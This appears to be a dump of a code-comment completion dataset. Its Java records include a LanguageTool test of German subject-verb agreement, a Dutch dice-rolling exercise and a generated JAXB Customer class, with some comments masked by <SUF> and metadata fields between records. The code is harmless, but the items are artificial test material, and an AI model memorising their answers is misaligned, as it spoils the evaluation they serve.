* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301
* USA
*/
package org.languagetool.rules.de;
import org.junit.Assert;
import org.junit.BeforeClass;
import org.junit.Test;
import org.languagetool.AnalyzedTokenReadings;
import org.languagetool.JLanguageTool;
import org.languagetool.TestTools;
import org.languagetool.chunking.GermanChunker;
import org.languagetool.language.German;
import org.languagetool.rules.RuleMatch;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import static junit.framework.TestCase.assertFalse;
import static junit.framework.TestCase.assertTrue;
public class SubjectVerbAgreementRuleTest {
private static SubjectVerbAgreementRule rule;
private static JLanguageTool langTool;
@BeforeClass
public static void setUp() {
rule = new SubjectVerbAgreementRule(TestTools.getMessages("de"));
langTool = new JLanguageTool(new German());
}
@Test
public void testTemp() throws IOException {
// For debugging, comment in the next three lines:
//GermanChunker.setDebug(true);
//assertGood("...");
//assertBad("...");
// Hier ist (auch: sind) sowohl Anhalten wie Parken verboten.
// TODO - false alarms from Tatoeba and Wikipedia:
// "Die restlichen sechsundachtzig oder siebenundachtzig Prozent sind in der Flasche.",
// "Die Führung des Wortes in Unternehmensnamen ist nur mit Genehmigung zulässig.", // OpenNLP doesn't find 'Unternehmensnamen' as a noun
// "Die ältere der beiden Töchter ist hier.",
// "Liebe und Hochzeit sind nicht das Gleiche."
// "Die Typologie oder besser Typographie ist die Klassifikation von Objekten"
// "Im Falle qualitativer, quantitativer und örtlicher Veränderung ist dies ein konkretes Einzelding,"
// "...zu finden, in denen die Päpste selbst Partei waren."
// "Hauptfigur der beiden Bücher ist Golan Trevize."
// "Das größte und bekannteste Unternehmen dieses Genres ist der Cirque du Soleil."
// "In Schweden, Finnland, Dänemark und Österreich ist die Haltung von Wildtieren erlaubt."
// "Die einzige Waffe, die keine Waffe der Gewalt ist: die Wahrheit."
// "Du weißt ja wie töricht Verliebte sind."
// "Freies Assoziieren und Phantasieren ist erlaubt."
// "In den beiden Städten Bremen und Bremerhaven ist jeweils eine Müllverbrennungsanlage in Betrieb."
// "Hauptstadt und größte Stadt des Landes ist Sarajevo."
// "Durch Rutschen, Fallrohre oder Schläuche ist der Beton bis in die Schalung zu leiten."
// "Wegen ihres ganzen Erfolgs war sie unglücklich."
// "Eines der bedeutendsten Museen ist das Museo Nacional de Bellas Artes."
// "Die Nominierung der Filme sowie die Auswahl der Jurymitglieder ist Aufgabe der Festivaldirektion."
// "Ehemalige Fraktionsvorsitzende waren Schmidt, Kohl und Merkel."
// "Die Hälfte der Äpfel sind verfault."
// "... in der Geschichte des Museums, die Sammlung ist seit März 2011 dauerhaft der Öffentlichkeit zugänglich."
// "Ein gutes Aufwärmen und Dehnen ist zwingend notwendig."
// "Eine Stammfunktion oder ein unbestimmtes Integral ist eine mathematische Funktion ..."
// "Wenn die Begeisterung für eine Person, Gruppe oder Sache religiöser Art ist ..."
// "Ein Staat, dessen Oberhaupt nicht ein König oder eine Königin ist."
// "Des Menschen größter Feind und bester Freund ist ein anderer Mensch."
// "Die Nauheimer Musiktage, die zu einer Tradition geworden sind und immer wieder ein kultureller Höhepunkt sind."
// "Ein erheblicher Teil der anderen Transportmaschinen waren schwerbeschädigt." // ??
// "Die herrschende Klasse und die Klassengesellschaft war geboren." // ??
// "Russland ist der größte Staat der Welt und der Vatikan ist der kleinste Staat der Welt.",
// "Eine Rose ist eine Blume und eine Taube ist ein Vogel.",
// "Der beste Beobachter und der tiefste Denker ist immer der mildeste Richter.",
//assertGood("Dumas ist der Familienname folgender Personen."); // Dumas wird als Plural von Duma erkannt
//assertGood("Berlin war Hauptstadt des Vergnügens und der Wintergarten war angesagt."); // wg. 'und'
//assertGood("Elemente eines axiomatischen Systems sind:"); // 'Elemente' ist ambig (SIN, PLU)
//assertGood("Auch wenn Dortmund größte Stadt und ein Zentrum dieses Raums ist."); // unsere 'und'-Regel darf hier nicht matchen
//assertGood("Die Zielgruppe waren Glaubensangehörige im Ausland sowie Reisende."); // Glaubensangehörige hat kein Plural-Reading in Morphy
}
@Test
public void testPrevChunkIsNominative() throws IOException {
assertTrue(rule.prevChunkIsNominative(getTokens("Die Katze ist süß"), 2));
assertTrue(rule.prevChunkIsNominative(getTokens("Das Fell der Katzen ist süß"), 4));
assertFalse(rule.prevChunkIsNominative(getTokens("Dem Mann geht es gut."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Dem alten Mann geht es gut."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Beiden Filmen war kein Erfolg beschieden."), 2));
assertFalse(rule.prevChunkIsNominative(getTokens("Aber beiden Filmen war kein Erfolg beschieden."), 3));
//assertFalse(rule.prevChunkIsNominative(getTokens("Der Katzen Fell ist süß"), 3));
}
private AnalyzedTokenReadings[] getTokens(String s) throws IOException {
return langTool.getAnalyzedSentence(s).getTokensWithoutWhitespace();
}
@Test
public void testRuleWithIncorrectSingularVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Autos ist schnell.",
"Der Hund und die Katze ist draußen.",
"Ein Hund und eine Katze ist schön.",
"Der Hund und die Katze ist schön.",
"Der große Hund und die Katze ist schön.",
"Der Hund und die graue Katze ist schön.",
"Der große Hund und die graue Katze ist schön.",
"Die Kenntnisse ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der Sprache ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der europäischen Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der neuen europäischen Sprachen ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der deutschen Sprache ist je nach Bildungsgrad verschieden.",
"Die Kenntnisse der aktuellen deutschen Sprache ist je nach Bildungsgrad verschieden.",
"Drei Katzen ist im Haus.",
"Drei kleine Katzen ist im Haus.",
"Viele Katzen ist schön.",
"Drei Viertel der Erdoberfläche ist Wasser.", // http://canoo.net/blog/2012/04/02/ein-drittel-der-schueler-istsind/
"Die ältesten und bekanntesten Maßnahmen ist die Einrichtung von Schutzgebieten.",
"Ein Gramm Pfeffer waren früher wertvoll.",
"Isolation und ihre Überwindung ist ein häufiges Thema in der Literatur."
//"Katzen ist schön."
);
for (String sentence : sentences) {
assertBad(sentence);
}
}
@Test
public void testRuleWithCorrectSingularVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katze ist schön.",
"Die eine Katze ist schön.",
"Eine Katze ist schön.",
"Beiden Filmen war kein Erfolg beschieden.",
"In einigen Fällen ist der vermeintliche Beschützer schwach.",
"Was Wasser für die Fische ist.",
"In den letzten Jahrzehnten ist die Zusammenarbeit der Astronomie verbessert worden.",
"Für Oberleitungen bei elektrischen Bahnen ist es dagegen anders.",
"... deren Thema die Liebe zwischen männlichen Charakteren ist.",
"Mehr als das in westlichen Produktionen der Fall ist.",
"Da das ein fast aussichtsloses Unterfangen ist.",
"Was sehr verbreitet bei der Synthese organischer Verbindungen ist.",
"In chemischen Komplexverbindungen ist das Kation wichtig.",
"In chemischen Komplexverbindungen ist das As5+-Kation wichtig.",
"Die selbstständige Behandlung psychischer Störungen ist jedoch ineffektiv.",
"Die selbstständige Behandlung eigener psychischer Störungen ist jedoch ineffektiv.",
"Im Gegensatz zu anderen akademischen Berufen ist es in der Medizin durchaus üblich ...",
"Im Unterschied zu anderen Branchen ist Ärzten anpreisende Werbung verboten.",
"Aus den verfügbaren Quellen ist es ersichtlich.",
"Das Mädchen mit den langen Haaren ist Judy.",
"Der Durchschnitt offener Mengen ist nicht notwendig offen.",
"Der Durchschnitt vieler offener Mengen ist nicht notwendig offen.",
"Der Durchschnitt unendlich vieler offener Mengen ist nicht notwendig offen.",
"Der Ausgangspunkt für die heute gebräuchlichen Alphabete ist ...",
"Nach sieben männlichen Amtsvorgängern ist Merkel ...",
"Für einen japanischen Hamburger ist er günstig.",
"Derzeitiger Bürgermeister ist seit 2008 der ehemalige Minister Müller.",
"Derzeitiger Bürgermeister der Stadt ist seit 2008 der ehemalige Minister Müller.",
"Die Eingabe mehrerer assoziativer Verknüpfungen ist beliebig.",
"Die inhalative Anwendung anderer Adrenalinpräparate zur Akutbehandlung asthmatischer Beschwerden ist somit außerhalb der arzneimittelrechtlichen Zulassung.",
"Die Kategorisierung anhand morphologischer Merkmale ist nicht objektivierbar.",
"Die Kategorisierung mit morphologischen Merkmalen ist nicht objektivierbar.",
"Ute, deren Hauptproblem ihr Mangel an Problemen ist, geht baden.",
"Ute, deren Hauptproblem ihr Mangel an realen Problemen ist, geht baden.",
"In zwei Wochen ist Weihnachten.",
"In nur zwei Wochen ist Weihnachten.",
"Mit chemischen Methoden ist es möglich, das zu erreichen.",
"Für die Stadtteile ist auf kommunalpolitischer Ebene jeweils ein Beirat zuständig.",
"Für die Stadtteile und selbständigen Ortsteile ist auf kommunalpolitischer Ebene jeweils ein Beirat zuständig.",
"Die Qualität der Straßen ist unterschiedlich.",
"In deutschen Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"In deren Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"In deren deutschen Installationen ist seit Version 3.3 ein neues Feature vorhanden.",
"Die Führung des Wortes in Unternehmensnamen ist nur mit Genehmigung zulässig.",
"Die Führung des Wortes in Unternehmensnamen und Institutionen ist nur mit Genehmigung zulässig.",
"Die Hintereinanderreihung mehrerer Einheitenvorsatznamen oder Einheitenvorsatzzeichen ist nicht zulässig.",
"Eines ihrer drei Autos ist blau und die anderen sind weiß.",
"Eines von ihren drei Autos ist blau und die anderen sind weiß.",
"Bei fünf Filmen war Robert F. Boyle für das Production Design verantwortlich.",
"Insbesondere das Wasserstoffatom als das einfachste aller Atome war dabei wichtig.",
"In den darauf folgenden Wochen war die Partei führungslos",
"Gegen die wegen ihrer Schönheit bewunderte Phryne ist ein Asebie-Prozess überliefert.",
"Dieses für Ärzte und Ärztinnen festgestellte Risikoprofil ist berufsunabhängig.",
"Das ist problematisch, da kDa eine Masseeinheit und keine Gewichtseinheit ist.",
"Nach sachlichen oder militärischen Kriterien war das nicht nötig.",
"Die Pyramide des Friedens und der Eintracht ist ein Bauwerk.",
"Ohne Architektur der Griechen ist die westliche Kultur der Neuzeit nicht denkbar.",
"Ohne Architektur der Griechen und Römer ist die westliche Kultur der Neuzeit nicht denkbar.",
"Ohne Architektur und Kunst der Griechen und Römer ist die westliche Kultur der Neuzeit nicht denkbar.",
"In denen jeweils für eine bestimmte Anzahl Elektronen Platz ist.",
"Mit über 1000 Handschriften ist Aristoteles ein Vielschreiber.",
"Mit über neun Handschriften ist Aristoteles ein Vielschreiber.",
"Die Klammerung assoziativer Verknüpfungen ist beliebig.",
"Die Klammerung mehrerer assoziativer Verknüpfungen ist beliebig.",
"Einen Sonderfall bildete jedoch Ägypten, dessen neue Hauptstadt Alexandria eine Gründung Alexanders und der Ort seines Grabes war.",
"Jeder Junge und jedes Mädchen war erfreut.",
"Jedes Mädchen und jeder Junge war erfreut.",
"Jede Frau und jeder Junge war erfreut.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen Grundlagen ist die Psychologie interdisziplinär.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen und sozialen Grundlagen ist die Psychologie interdisziplinär.",
"Als Wissenschaft vom Erleben des Menschen einschließlich der biologischen und neurowissenschaftlichen Grundlagen ist die Psychologie interdisziplinär.", // 'neurowissenschaftlichen' not known
"Als Wissenschaft vom Erleben und Verhalten des Menschen einschließlich der biologischen bzw. sozialen Grundlagen ist die Psychologie interdisziplinär.",
"Alle vier Jahre ist dem Volksfest das Landwirtschaftliche Hauptfest angeschlossen.",
"Aller Anfang ist schwer.",
"Alle Dichtung ist zudem Darstellung von Handlungen.",
"Allen drei Varianten ist gemeinsam, dass meistens nicht unter bürgerlichem...",
"Er sagte, dass es neun Uhr war.",
"Auch den Mädchen war es untersagt, eine Schule zu besuchen.",
"Das dazugehörende Modell der Zeichen-Wahrscheinlichkeiten ist unter Entropiekodierung beschrieben.",
"Ein über längere Zeit entladener Akku ist zerstört.",
"Der Fluss mit seinen Oberläufen Río Paraná und Río Uruguay ist der wichtigste Wasserweg.",
"In den alten Mythen und Sagen war die Eiche ein heiliger Baum.",
"In den alten Religionen, Mythen und Sagen war die Eiche ein heiliger Baum.",
"Zehn Jahre ist es her, seit ich mit achtzehn nach Tokio kam.",
"Bei den niedrigen Oberflächentemperaturen ist Wassereis hart wie Gestein.",
"Bei den sehr niedrigen Oberflächentemperaturen ist Wassereis hart wie Gestein.",
"Die älteste und bekannteste Maßnahme ist die Einrichtung von Schutzgebieten.",
"Die größte Dortmunder Grünanlage ist der Friedhof.",
"Die größte Berliner Grünanlage ist der Friedhof.",
"Die größte Bielefelder Grünanlage ist der Friedhof.",
"Die Pariser Linie ist hier mit 2,2558 mm gerechnet.",
"Die Frankfurter Innenstadt ist 7 km entfernt.",
"Die Dortmunder Konzernzentrale ist ein markantes Gebäude an der Bundesstraße 1.",
"Die Düsseldorfer Brückenfamilie war ursprünglich ein Sammelbegriff.",
"Die Düssel ist ein rund 40 Kilometer langer Fluss.",
"Die Berliner Mauer war während der Teilung Deutschlands die Grenze.",
"Für amtliche Dokumente und Formulare ist das anders.",
"Wie viele Kilometer ist ihre Stadt von unserer entfernt?",
"Über laufende Sanierungsmaßnahmen ist bislang nichts bekannt.",
"In den letzten zwei Monate war ich fleißig wie eine Biene.",
"Durch Einsatz größerer Maschinen und bessere Kapazitätsplanung ist die Zahl der Flüge gestiegen.",
"Die hohe Zahl dieser relativ kleinen Verwaltungseinheiten ist immer wieder Gegenstand von Diskussionen.",
"Teil der ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Teil der umfangreichen dort ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Teil der dort ausgestellten Bestände ist auch die Bierdeckel-Sammlung.",
"Der zweite Teil dieses Buches ist in England angesiedelt.",
"Eine der am meisten verbreiteten Krankheiten ist die Diagnose",
"Eine der verbreitetsten Krankheiten ist hier.",
"Die Krankheit unserer heutigen Städte und Siedlungen ist folgendes.",
"Die darauffolgenden Jahre war er ...",
"Die letzten zwei Monate war ich fleißig wie eine Biene.",
"Bei sehr guten Beobachtungsbedingungen ist zu erkennen, dass ...",
"Die beste Rache für Undank und schlechte Manieren ist Höflichkeit.",
"Ein Gramm Pfeffer war früher wertvoll.",
"Die größte Stuttgarter Grünanlage ist der Friedhof.",
"Mancher will Meister sein und ist kein Lehrjunge gewesen.",
"Ellen war vom Schock ganz bleich.", // Ellen: auch Plural von Elle
"Nun gut, die Nacht ist sehr lang, oder?",
"Der Morgen ist angebrochen, die lange Nacht ist vorüber.",
"Die stabilste und häufigste Oxidationsstufe ist dabei −1.",
"Man kann nicht eindeutig zuordnen, wer Täter und wer Opfer war.",
"Ich schätze, die Batterie ist leer.",
"Der größte und schönste Tempel eines Menschen ist in ihm selbst.",
"Begehe keine Dummheit zweimal, die Auswahl ist doch groß genug!",
"Seine größte und erfolgreichste Erfindung war die Säule.",
"Egal was du sagst, die Antwort ist Nein.",
"... in der Geschichte des Museums, die Sammlung ist seit 2011 zugänglich.",
"Deren Bestimmung und Funktion ist allerdings nicht so klar.",
"Sie hat eine Tochter, die Pianistin ist.",
"Ja, die Milch ist sehr gut.",
"Der als Befestigung gedachte östliche Teil der Burg ist weitgehend verfallen.",
"Das Kopieren und Einfügen ist sehr nützlich.",
"Der letzte der vier großen Flüsse ist die Kolyma.",
"In christlichen, islamischen und jüdischen Traditionen ist das höchste Ziel der meditativen Praxis.",
"Der Autor der beiden Spielbücher war Markus Heitz selbst.",
"Der Autor der ersten beiden Spielbücher war Markus Heitz selbst.",
"Das Ziel der elf neuen Vorstandmitglieder ist klar definiert.",
"Laut den meisten Quellen ist das Seitenverhältnis der Nationalflagge..."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
@Test
public void testRuleWithIncorrectPluralVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katze sind schön.",
"Die Katze waren schön.",
"Der Text sind gut.",
"Das Auto sind schnell.",
//"Herr Müller sind alt." -- Müller has a plural reading
"Herr Schröder sind alt.",
"Julia und Karsten ist alt.",
"Julia, Heike und Karsten ist alt.",
"Herr Karsten Schröder sind alt."
//"Die heute bekannten Bonsai sind häufig im japanischen Stil gestaltet." // plural: Bonsais (laut Duden) - sollte von AgreementRule gefunden werden
);
for (String sentence : sentences) {
assertBad(sentence);
}
}
@Test
public void testRuleWithCorrectPluralVerb() throws IOException {
List<String> sentences = Arrays.asList(
"Die Katzen sind schön.",
"Frau Meier und Herr Müller sind alt.",
"Frau Julia Meier und Herr Karsten Müller sind alt.",
"Julia und Karsten sind alt.",
"Julia, Heike und Karsten sind alt.",
"Frau und Herr Müller sind alt.",
"Herr und Frau Schröder sind alt.",
"Herr Meier und Frau Schröder sind alt.",
"Die restlichen 86 Prozent sind in der Flasche.",
"Die restlichen sechsundachtzig Prozent sind in der Flasche.",
"Die restlichen 86 oder 87 Prozent sind in der Flasche.",
"Die restlichen 86 % sind in der Flasche.",
"Durch den schnellen Zerfall des Actiniums waren stets nur geringe Mengen verfügbar.",
"Soda und Anilin waren die ersten Produkte des Unternehmens.",
"Bob und Tom sind Brüder.",
"Letztes Jahr sind wir nach London gegangen.",
"Trotz des Regens sind die Kinder in die Schule gegangen.",
"Die Zielgruppe sind Männer.",
"Männer sind die Zielgruppe.",
"Die Zielgruppe sind meist junge Erwachsene.",
"Die USA sind ein repräsentativer demokratischer Staat.",
"Wesentliche Eigenschaften der Hülle sind oben beschrieben.",
"Wesentliche Eigenschaften der Hülle sind oben unter Quantenmechanische Atommodelle und Erklärung grundlegender Atomeigenschaften dargestellt.",
"Er und seine Schwester sind eingeladen.",
"Er und seine Schwester sind zur Party eingeladen.",
"Sowohl er als auch seine Schwester sind zur Party eingeladen.",
"Rekonstruktionen oder der Wiederaufbau sind wissenschaftlich sehr umstritten.",
"Form und Materie eines Einzeldings sind aber nicht zwei verschiedene Objekte.",
"Dieses Jahr sind die Birnen groß.",
"Es so umzugestalten, dass sie wie ein Spiel sind.",
"Die Zielgruppe sind meist junge Erwachsene.",
"Die Ursache eines Hauses sind so Ziegel und Holz.",
"Vertreter dieses Ansatzes sind unter anderem Roth und Meyer.",
"Sowohl sein Vater als auch seine Mutter sind tot.",
"Einige der Inhaltsstoffe sind schädlich.",
"Diese Woche sind wir schon einen großen Schritt weiter.",
"Diese Woche sind sie hier.",
"Vorsitzende des Vereins waren:",
"Weder Gerechtigkeit noch Freiheit sind möglich, wenn nur das Geld regiert.",
"Ein typisches Beispiel sind Birkenpollenallergene.",
"Eine weitere Variante sind die Miniatur-Wohnlandschaften.",
"Eine Menge englischer Wörter sind aus dem Lateinischen abgeleitet.",
"Völkerrechtlich umstrittenes Territorium sind die Falklandinseln.",
"Einige dieser älteren Synthesen sind wegen geringer Ausbeuten ...",
"Einzelne Atome sind klein.",
"Die Haare dieses Jungens sind schwarz.",
"Die wichtigsten Mechanismen des Aminosäurenabbaus sind:",
"Wasserlösliche Bariumverbindungen sind giftig.",
"Die Schweizer Trinkweise ist dabei die am wenigsten etablierte.",
"Die Anordnung der vier Achsen ist damit identisch.",
"Die Nauheimer Musiktage, die immer wieder ein kultureller Höhepunkt sind.",
"Räumliche und zeitliche Abstände sowie die Trägheit sind vom Bewegungszustand abhängig.",
"Solche Gewerbe sowie der Karosseriebau sind traditionell stark vertreten.",
"Hundert Dollar sind doch gar nichts!",
"Sowohl Tom als auch Maria waren überrascht.",
"Robben, die die hauptsächliche Beute der Eisbären sind.",
"Die Albatrosse sind eine Gruppe von Seevögeln",
"Die Albatrosse sind eine Gruppe von großen Seevögeln",
"Die Albatrosse sind eine Gruppe von großen bis sehr großen Seevögeln",
"Vier Elemente, welche der Urstoff aller Körper sind.",
"Die Beziehungen zwischen Kanada und dem Iran sind seitdem abgebrochen.",
"Die diplomatischen Beziehungen zwischen Kanada und dem Iran sind seitdem abgebrochen.",
"Die letzten zehn Jahre seines Lebens war er erblindet.",
"Die letzten zehn Jahre war er erblindet.",
"... so dass Knochenbrüche und Platzwunden die Regel sind.",
"Die Eigentumsverhältnisse an der Gesellschaft sind unverändert geblieben.",
"Gegenstand der Definition sind für ihn die Urbilder.",
"Mindestens zwanzig Häuser sind abgebrannt.",
"Sie hielten geheim, dass sie Geliebte waren.",
"Einige waren verspätet.",
"Kommentare, Korrekturen und Kritik sind verboten.",
"Kommentare, Korrekturen, Kritik sind verboten.",
"Letztere sind wichtig, um die Datensicherheit zu garantieren.",
"Jüngere sind oft davon überzeugt, im Recht zu sein.",
"Verwandte sind selten mehr als Bekannte.",
"Ursache waren die hohe Arbeitslosigkeit und die Wohnungsnot.",
"Ursache waren unter anderem die hohe Arbeitslosigkeit und die Wohnungsnot."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
@Test
public void testRuleWithCorrectSingularAndPluralVerb() throws IOException {
// Manchmal sind<SUF>
// siehe http://www.canoo.net/services/OnlineGrammar/Wort/Verb/Numerus-Person/ProblemNum.html
List<String> sentences = Arrays.asList(
"So mancher Mitarbeiter und manche Führungskraft ist im Urlaub.",
"So mancher Mitarbeiter und manche Führungskraft sind im Urlaub.",
"Jeder Schüler und jede Schülerin ist mal schlecht gelaunt.",
"Jeder Schüler und jede Schülerin sind mal schlecht gelaunt.",
"Kaum mehr als vier Prozent der Fläche ist für landwirtschaftliche Nutzung geeignet.",
"Kaum mehr als vier Prozent der Fläche sind für landwirtschaftliche Nutzung geeignet.",
"Kaum mehr als vier Millionen Euro des Haushalts ist verplant.",
"Kaum mehr als vier Millionen Euro des Haushalts sind verplant.",
"80 Cent ist nicht genug.", // ugs.
"80 Cent sind nicht genug.",
"1,5 Pfund ist nicht genug.", // ugs.
"1,5 Pfund sind nicht genug.",
"Hier ist sowohl Anhalten wie Parken verboten.",
"Hier sind sowohl Anhalten wie Parken verboten."
);
for (String sentence : sentences) {
assertGood(sentence);
}
}
private void assertGood(String input) throws IOException {
RuleMatch[] matches = getMatches(input);
if (matches.length != 0) {
fail("Got unexpected match(es) for '" + input + "': " + Arrays.toString(matches), input);
}
}
private void assertBad(String input) throws IOException {
int matchCount = getMatches(input).length;
if (matchCount == 0) {
fail("Did not get the expected match for '" + input + "'", input);
}
}
private void fail(String message, String input) throws IOException {
if (!GermanChunker.isDebug()) {
GermanChunker.setDebug(true);
getMatches(input); // run again with debug mode
}
Assert.fail(message);
}
private RuleMatch[] getMatches(String input) throws IOException {
return rule.match(langTool.getAnalyzedSentence(input));
}
} |
1672_0 | package nl.hva;
import java.util.Scanner;
//Gianni Guaita
//IC_106
//programma moet net zolang dobbelstenen gooien totdat er een 6 uitkomt
//de ogen van de dobbelsteen zijn de gegeven karakters van de gebruiker
public class dobbelsteen {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//vraag karakter en pak het eerste karakter ingevoerd in variabel
System.out.println("welk karakter moet ik gebruiken voor het oog?");
String zin = scanner.nextLine();
char karakter = zin.charAt(0);
//do rollen, while x != 6
final int EINDGETAL = 6;
int x;
do {
x = (int) (Math.random() * 6) + 1;
//print alle dobbelstenen met gekozen karakter
if (x == 1) {
System.out.println(" \n " + karakter + " \n " + "\n\n");
} else if (x == 2) {
System.out.println(karakter + " \n \n " + karakter + "\n\n");
} else if (x == 3) {
System.out.println(karakter + " \n " + karakter + " \n " + karakter + "\n\n");
} else if (x == 4) {
System.out.println(karakter + " " + karakter + "\n \n" + karakter + " " + karakter + "\n\n");
} else if (x == 5) {
System.out.println(karakter + " " + karakter + "\n " + karakter + " \n" + karakter + " " + karakter + "\n\n");
} else {
System.out.println(karakter + " " + karakter + "\n" + karakter + " " + karakter + "\n" + karakter + " " + karakter);
}
//System.out.printf("%s %s %s\n", karakter, karakter);
} while (EINDGETAL != x);
{
}
}
}
| montarion/beestigheid | Gianni/Java/dobbelsteen.java | 619 | //programma moet net zolang dobbelstenen gooien totdat er een 6 uitkomt | line_comment | nl | package nl.hva;
import java.util.Scanner;
//Gianni Guaita
//IC_106
//programma moet<SUF>
//de ogen van de dobbelsteen zijn de gegeven karakters van de gebruiker
public class dobbelsteen {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//vraag karakter en pak het eerste karakter ingevoerd in variabel
System.out.println("welk karakter moet ik gebruiken voor het oog?");
String zin = scanner.nextLine();
char karakter = zin.charAt(0);
//do rollen, while x != 6
final int EINDGETAL = 6;
int x;
do {
x = (int) (Math.random() * 6) + 1;
//print alle dobbelstenen met gekozen karakter
if (x == 1) {
System.out.println(" \n " + karakter + " \n " + "\n\n");
} else if (x == 2) {
System.out.println(karakter + " \n \n " + karakter + "\n\n");
} else if (x == 3) {
System.out.println(karakter + " \n " + karakter + " \n " + karakter + "\n\n");
} else if (x == 4) {
System.out.println(karakter + " " + karakter + "\n \n" + karakter + " " + karakter + "\n\n");
} else if (x == 5) {
System.out.println(karakter + " " + karakter + "\n " + karakter + " \n" + karakter + " " + karakter + "\n\n");
} else {
System.out.println(karakter + " " + karakter + "\n" + karakter + " " + karakter + "\n" + karakter + " " + karakter);
}
//System.out.printf("%s %s %s\n", karakter, karakter);
} while (EINDGETAL != x);
{
}
}
}
|
59330_16 | //
// Diese Datei wurde mit der JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.7 generiert
// Siehe <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Änderungen an dieser Datei gehen bei einer Neukompilierung des Quellschemas verloren.
// Generiert: 2017.02.06 um 01:12:59 PM CET
//
package com.innoq.mploed.ddd.customer.ws;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java-Klasse für customer complex type.
*
* <p>Das folgende Schemafragment gibt den erwarteten Content an, der in dieser Klasse enthalten ist.
*
* <pre>
* <complexType name="customer">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="id" type="{http://www.w3.org/2001/XMLSchema}long"/>
* <element name="firstName" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="lastName" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="street" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="postCode" type="{http://www.w3.org/2001/XMLSchema}string"/>
* <element name="city" type="{http://www.w3.org/2001/XMLSchema}string"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "customer", propOrder = {
"id",
"firstName",
"lastName",
"street",
"postCode",
"city"
})
public class Customer {
protected long id;
@XmlElement(required = true)
protected String firstName;
@XmlElement(required = true)
protected String lastName;
@XmlElement(required = true)
protected String street;
@XmlElement(required = true)
protected String postCode;
@XmlElement(required = true)
protected String city;
/**
* Ruft den Wert der id-Eigenschaft ab.
*
*/
public long getId() {
return id;
}
/**
* Legt den Wert der id-Eigenschaft fest.
*
*/
public void setId(long value) {
this.id = value;
}
/**
* Ruft den Wert der firstName-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getFirstName() {
return firstName;
}
/**
* Legt den Wert der firstName-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setFirstName(String value) {
this.firstName = value;
}
/**
* Ruft den Wert der lastName-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getLastName() {
return lastName;
}
/**
* Legt den Wert der lastName-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setLastName(String value) {
this.lastName = value;
}
/**
* Ruft den Wert der street-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getStreet() {
return street;
}
/**
* Legt den Wert der street-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setStreet(String value) {
this.street = value;
}
/**
* Ruft den Wert der postCode-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getPostCode() {
return postCode;
}
/**
* Legt den Wert der postCode-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setPostCode(String value) {
this.postCode = value;
}
/**
* Ruft den Wert der city-Eigenschaft ab.
*
* @return
* possible object is
* {@link String }
*
*/
public String getCity() {
return city;
}
/**
* Legt den Wert der city-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setCity(String value) {
this.city = value;
}
}
| moon0326/ddd-strategic-design-spring-boot | customer/src/main/java/com/innoq/mploed/ddd/customer/ws/Customer.java | 1,528 | /**
* Legt den Wert der city-Eigenschaft fest.
*
* @param value
* allowed object is
* {@link String }
*
*/ | block_comment | nl | //
// Diese Datei wurde mit der JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.7 generiert
// Siehe <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Änderungen an dieser Datei gehen bei einer Neukompilierung des Quellschemas verloren.
// Generiert: 2017.02.06 um 01:12:59 PM CET
//
package com.innoq.mploed.ddd.customer.ws;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlType;
/**
* <p>Java-Klasse für customer complex type.
*
* <p>Das folgende Schemafragment gibt den erwarteten Content an, der in dieser Klasse enthalten ist.
*
* <pre>
* <complexType name="customer">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
